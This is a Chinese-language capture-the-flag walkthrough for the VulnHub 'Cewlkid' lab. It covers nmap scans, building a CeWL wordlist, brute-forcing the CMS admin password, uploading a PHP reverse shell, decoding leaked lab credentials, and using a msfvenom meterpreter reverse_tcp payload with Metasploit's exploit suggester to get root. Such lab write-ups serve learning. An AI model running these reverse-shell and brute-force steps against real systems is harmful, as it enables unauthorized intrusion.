Goal

Goal: Get the root flag.

主机发现

使用nmap扫描桥接网段
nmap -sP -T4 192.168.1.0/24 -oN zzp.txt
image-20231215170901155
之后通过对比virtualbox的自带mac地址,与nmap扫描出来的mac地址进行对面发现我的IP为
192.168.1.140
image-20231215171031318

端口扫描

扫描目标主机开放端口
nmap -sS -sV -T5 -p- -A 192.168.1.124
发现开启了22,80,8080端口
image-20231215171236712

Web信息收集

访问192.168.1.140 的 80 端口
image-20231215172951604
尝试看看robots.txt,发现没有
image-20231215173030773
使用御剑扫描后台也没有需要的
image-20231215173455945
访问8080端口,可以看出来这是一个CMS,有输入框
image-20231215173111223
image-20231215173623979
还是没有robots.txt文件
image-20231215173547317
使用御剑扫描后台,扫出来了一点有用的东西
image-20231215173919713
发现有一个license.txt
image-20231215173913225
由于没有扫到他有install文件夹,所以可能改名字或者删除了
但是我查看8080的网页源代码,搜索隐藏传参出现一个
image-20231215174741675
发现一个登录页
http://192.168.1.140:8080/index.php?SMExt=SMLogin
image-20231215175512301

由于后面我回家了,所以IP可能会有所变化

更换后的我的IP为
192.168.3.18
image-20231216001156460

漏洞利用

发现他是一个登录页面,且靶机名字叫做Cewlkid,这让我想到一个字典生成工具,Cewl,这是一个爬虫深度爬取URL来生成字典的工具
这里说一下我们输入-h可以看到语法提示
image-20231216003327133
执行下面命令来进行生成字典
cewl -d 3 -m 5 -w word.txt http://192.168.3.18:8080
image-20231216003426630
下面我们就是用bp抓包进行密码爆破尝试

这里我解释一下为什么我只爆破密码,因为我前面做了这个cms的信息收集,默认的管理员账户为admin,所以尝试只爆破密码
image-20231216003658982
使用我们刚生成的字典
image-20231216003918091
使用长度过滤发现有一个长度不一样

Letraset
image-20231216003956991
响应包是一个重定向,我们尝试登录
image-20231216004118031
找到一个文件上传点
1702658627821
我们找到kali的反弹shell,路径为 /usr/share/webshells/php/

修改这两个为攻击主机IP和端口,kali继续监听即可
image-20231216005311871
修改如下
image-20231216005528568
进行文件上传
image-20231216005609612
我们进行访问我们上传的文件,触发反弹

我的路径是从左边,显示了文件路径
image-20231216005845857
访问文件
http://192.168.3.18:8080/files/images/php-reverse-shell.php
image-20231216005950902
成功弹回shell
image-20231216010001615
进入shell视图还是先查看
sudo -l
查看我们可以管理员运行什么文件
image-20231216010105375
我们能够代表 ipsum 执行 /usr/bin/cat。我们搜索属于 ipsum 的文件。我们找到一个目录...隐藏在 /var/www/example.com/html 文件夹中。

find / -group ipsum -print 2 > /dev/null
image-20231216011125122
这里我解释一下我的
2>/dev/null
这里借用一些知乎大佬的图片
img
文件描述符分为
0 —— stdin(标准输入)
1 —— stdout (标准输出)
2 —— stderr (标准错误)

/dev/null是一个特殊的设备文件,这个文件接收到的任何数据都会被丢弃。因此,null这个设备通常也被成为位桶(bit bucket)或黑洞。

所以这代表我们执行命令并且忽略错误提示信息。

这是一篇讲解文件描述符的文章
https://yushuaige.github.io/2020/08/14/%E5%BD%BB%E5%BA%95%E5%BC%84%E6%87%82%20Linux%20%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%EF%BC%88fd%EF%BC%89/

提权

横向提权

已被放弃,太麻烦,有工具直接工具了
我们访问一下这个隐藏文件

执行
sudo -u ipsum /usr/bin/cat /var/www/example.com/html/.../nothing_to_see_here

我们得到两个base64加密的字符串

aXBzdW0gOiBTcGVha1Blb3BsZTIyIQo=
bG9yZW0gOiBQZW9wbGVTcGVhazQ0IQo=
image-20231216013412494
尝试解密

https://gchq.github.io/CyberChef/
image-20231216013639821
我们就得到了这两个用户的登录密码

ipsum : SpeakPeople22!
lorem : PeopleSpeak44!
登录lorem用户
image-20231216015120947
执行sudo -l
发现我们可以cat shadow文件
image-20231216015232779
后续想要继续这么做的话,可以看一下下面这个连接中的文章他的步骤太复杂了
https://www.sevenlayers.com/index.php/372-vulnhub-cewlkid-1-walkthrough

垂直提权

我们通过文件上传,上传一个shell使用蚁剑连接
生成shell
image-20231216021800194
使用msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.17 LPORT=6666 -f elf > shell.elf生成反向连接的linux木马
image-20231216022120371
msfconsole打开msf的控制台
use exploit/multi/handler使用监听模块
set payload linux/x64/meterpreter/reverse_tcp设置监听payload为linux反向连接
image-20231216022303689
set lhost 192.168.3.17
set lport 6666设置kali本地ip和端口
run开始运行监听
image-20231216022430443
蚁剑上传反向连接的linux木马到目标服务器
image-20231216022601226
蚁剑更改木马的权限+X
蚁剑通过虚拟终端./xxx.elf运行木马
image-20231216022816198
msf返回监听成功的视图
image-20231216022836514
background退回到msf控制台视图
use post/multi/recon/local_exploit_suggester使用漏洞检测模块
set session 1设置漏洞检测的会话id
run运行漏洞检测模块
image-20231216022937370
use exploit/xxx/xxx/xxx/xxx 使用某个绿色的可用的漏洞利用模块
image-20231216023305490
options 查看该漏洞利用模块的参数,yes代表必须项,no代表可填项,将没有值的yes项填完整 set xxxxx
image-20231216023422620
run 运行该漏洞利用模块,成功则返回一个 meterpreter 视图
getuid 查看当前是否提权成功
image-20231216023542013
image-20231216025256052

总结

这里我们使用了爬虫Cewl来生成密码爆破字典

其他内容较为常规,提权MSF足以应付

Views: 17

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-12-16